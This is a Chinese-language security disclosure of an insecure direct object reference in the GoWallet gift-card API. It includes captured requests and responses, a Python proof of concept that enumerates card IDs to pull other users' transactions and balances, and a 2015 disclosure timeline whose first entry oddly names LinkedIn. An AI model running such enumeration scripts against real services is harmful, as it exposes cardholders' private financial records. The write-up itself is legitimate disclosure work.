GoWallet漏洞暴露Visa和其它礼品卡交易信息(附POC)
我最近收到了Visa礼品卡,因为广告上Visa卡的包装,所以决定用GoWallet来管理它。 GoWallet提供来管理大多数类型的礼品卡,允许用户查看他们的卡的当前余额和过去的交易。
我在他们的网站注册了一个账户,并把卡和我的账户关联绑定了。接下来,我下载了他们的APP,并在银行卡管理功能里边探索,查看App的API请求。
大多数的请求看起来都很正常,但交易过程中的审查(逻辑)显得很有趣。虽然在应用程序我的交易实际上并没有出现(我认为应用程序中存在一个问题),我注意到API请求仍在秘密地返回。
为了请求一个卡的交易数据,该应用首先验证卡和接收usertoken; 这是除了用户已经已经验证到该应用本身(标识的BHN-User-Token)。 交易过程中还需要用户的邮政编码、身份证号码,以及他们的电话号码后四位,以便获得token(不提示用户这些)。
POST https://gowallet-api.blackhawknetwork.com/v1/bliss/authenticateAccount HTTP/1.1 User-Agent: com.bhnetwork.wallet/2.5 (13) Accept: */* Accept-Charset: utf-8,* BHN-User-Token: ***REMOVED*** BHN-Channel: ANDROID Content-Type: application/x-www-form-urlencoded Host: gowallet-api.blackhawknetwork.com Connection: Keep-Alive Accept-Encoding: gzip Content-Length: 98 card.profile.address.postalcode=***REMOVED***&card.number=***REMOVED***&card.profile.phonelastfour=***REMOVED*** |
下面是一个有效的token响应的样子:
<?xml version="1.0" encoding="UTF-8"?> <response> <statusinfo> <status> <code>ACS_000</code> <description>SUCCESS</description> </status> </statusinfo> <card> <id>1000000000059555872</id> <profile> <id>***REMOVED***</id> </profile> </card> <security> <token>***REMOVED***</token> </security> </response> 使用返回的usertoken,请求然后获得指定的卡片的交易。 GET https://gowallet-api.blackhawknetwork.com/v1/bliss/transactionHistory?account.transaction.set.filter.enddate=2015-02-15T11%3A41%3A33.071-0500&account.transaction.set.filter.startdate=2014-08-15T11%3A41%3A33.059-0400&card.id=1000000000059555871 HTTP/1.1 User-Agent: com.bhnetwork.wallet/2.5 (13) Accept: */* Accept-Charset: utf-8,* BHN-User-Token: ***REMOVED*** BHN-Channel: ANDROID Content-Type: application/x-www-form-urlencoded usertoken: ***REMOVED*** Host: gowallet-api.blackhawknetwork.com Connection: Keep-Alive Accept-Encoding: gzip 这里有一个回应例子:
<?xml version="1.0" encoding="UTF-8"?> <response> <statusinfo> <status> <code>ACS_000</code> <description>SUCCESS</description> </status> </statusinfo> <data> <openingBalance>20000</openingBalance> <currency>USD</currency> <ledgerBalance>101</ledgerBalance> <closingBalance>101</closingBalance> <availableBalance>101</availableBalance> </data> <account> <transactions> <transaction> <amount>20000</amount> <transactiondate>2015-02-04T12:00:00.000Z</transactiondate> <auxillarydatas> <auxillarydata> <name>merchant_name</name> <value>709 7th Street NW</value> <type>string</type> <metadata/> </auxillarydata> <auxillarydata> <name>merchant_city</name> <value>WASHINGTON</value> <type>string</type> <metadata/> </auxillarydata> <auxillarydata> <name>merchant_state</name> <value>DC</value> <type>string</type> <metadata/> </auxillarydata> <auxillarydata> <name>merchant_zip</name> <value/> <type>string</type> <metadata/> </auxillarydata> <auxillarydata> <name>merchant_number</name> <value>1081</value> <type>string</type> <metadata/> </auxillarydata> <auxillarydata> <name>retrieval_reference_number</name> <value>133140097429</value> <type>string</type> <metadata/> </auxillarydata> <auxillarydata> <name>transaction_pos_datetime</name> <value>2015-02-04 18:31:28.14</value> <type>datetime</type> <metadata/> </auxillarydata> <auxillarydata> <name>settlement_amount</name> <value>20000</value> <type>amount</type> <metadata>currency=USD</metadata> </auxillarydata> <auxillarydata> <name>authorization_amount</name> <value>20000</value> <type>amount</type> <metadata>currency=USD</metadata> </auxillarydata> </auxillarydatas> <flags/> <description>709 7th Street NW</description> <dispute/> <runningbalance>20000</runningbalance> <type>BHN Load-- Activation</type> <postings> <posting> <amount>20000</amount> <description>Value Load</description> <type>credit</type> <currency>USD</currency> <effectivedate>0</effectivedate> </posting> </postings> <auxillarydatacategory>BHN Load-- Activation</auxillarydatacategory> </transaction> <transaction> <amount>-3925</amount> <transactiondate>2015-02-16T12:00:00.000Z</transactiondate> <auxillarydatas> <auxillarydata> <name>merchant_name</name> <value>DEAD PRESIDENTS</value> <type>string</type> <metadata/> </auxillarydata> <auxillarydata> <name>merchant_city</name> <value>WILMINGTON</value> <type>string</type> <metadata/> </auxillarydata> <auxillarydata> <name>merchant_state</name> <value>10</value> <type>string</type> <metadata/> </auxillarydata> <auxillarydata> <name>merchant_zip</name> <value>19805</value> <type>string</type> <metadata/> </auxillarydata> <auxillarydata> <name>merchant_number</name> <value>650000004531920</value> <type>string</type> <metadata/> </auxillarydata> <auxillarydata> <name>retrieval_reference_number</name> <value>504624001466</value> <type>string</type> <metadata/> </auxillarydata> <auxillarydata> <name>transaction_pos_datetime</name> <value>2015-02-16 00:28:47.2</value> <type>datetime</type> <metadata/> </auxillarydata> <auxillarydata> <name>settlement_amount</name> <value>3925</value> <type>amount</type> <metadata>currency=USD</metadata> </auxillarydata> <auxillarydata> <name>authorization_amount</name> <value>3925</value> <type>amount</type> <metadata>currency=USD</metadata> </auxillarydata> </auxillarydatas> <flags/> <description>DEAD PRESIDENTS</description> <dispute/> <runningbalance>10915</runningbalance> <type>Purchase Original Sale</type> <postings> <posting> <amount>3925</amount> <description>Settlement</description> <type>debit</type> <currency>USD</currency> <effectivedate>0</effectivedate> </posting> </postings> <auxillarydatacategory>Purchase Original Sale</auxillarydatacategory> </transaction> </transactions> </account> </response> |
使用双因素身份认证方案无疑是在处理高度敏感信息的一个最佳实践。问题是,其他所需的信息(电话号码、邮政编码)已经被先前的API请求返回,使用双因子验证用处不大。我决定用我的账户创建一个测试交易来进一步验证端点。
和上面一样,使用相同的工作流程,我添加了一个旧的礼品卡到我的测试账户,并试图查阅信用卡上的交易。然后,我改变了卡号执行了相同的请求,请求结果成功返回!
这意味着攻击者通过改变卡号的ID数值来访问交易系统中任何卡的信息!
我写了一个验证GoWallet漏洞的POC
import requests import xml.etree.ElementTree as ET """ Any valid card info can be used to fetch the transactions of other cards """ valid_username = "" valid_password = "" valid_zip = "" valid_card = "" valid_phone = "" # Last four of phone limit = 10 headers = {"BHN-Channel": "ANDROID"} def get_bhn_token(): url = "https://gowallet-api.blackhawknetwork.com/v1/loginUser" data = '{"email":"%s","password":"%s"}' % (valid_username, valid_password) req = requests.post(url, data=data, headers=headers) if not 'bhn-user-token' in req.headers: raise(Exception("Error logging in")) return req.headers['bhn-user-token'] def get_security_token(bhn_token): url = "https://gowallet-api.blackhawknetwork.com/v1/bliss/authenticateAccount" payload = "card.profile.address.postalcode=%s&card.number=%s&card.profile.phonelastfour=%s" % (valid_zip, valid_card, valid_phone) headers["BHN-User-Token"] = bhn_token req = requests.post(url, data=payload, headers=headers) root = ET.fromstring(req.text) # Get security token security_token = root[2][0].text return security_token # Get BHN-User-Token bhn_token = get_bhn_token() # Get security token headers['usertoken'] = get_security_token(bhn_token=bhn_token) # Grab card transactions cardId = 1000000000059555872 count = 0 while count < limit: url = "https://gowallet-api.blackhawknetwork.com/v1/bliss/transactionHistory?account." "transaction.set.filter.enddate=2018-02-23T17%3A36%3A19.742-0500&account." "transaction.set.filter.startdate=2000-08-23T17%3A36%3A19.741-0400&" "card.id={0}".format(cardId) req = requests.get(url, headers=headers) root = ET.fromstring(req.text) for t in root[2][0]: merchant = t[2][0][1].text amount = t[0].text length = len(amount) - 2 amount = "" + amount[:length] + "." + amount[length:] print "%s: %s" % (merchant, amount) print "---------------------------" print "Available Balance: %s" % root[1][4].text print "---------------------------" cardId -= 1 count += 1 |
我立刻尝试和GoWallet取得联系,把这个漏洞披露给相关负责人。我自己也随时跟进,关注事情的最新发展。他们很快确定了这个漏洞,并发布了一个补丁。
漏洞披露时间表
2015-02-18:最初试图与LinkedIn取得联系
2015-02-23:收到回复,并取得联系
2015-02-24:问题报道和提供漏洞PoC
2015-02-25:漏洞确认,尝试解决
2015-02-27:推动漏洞修复和确认解决漏洞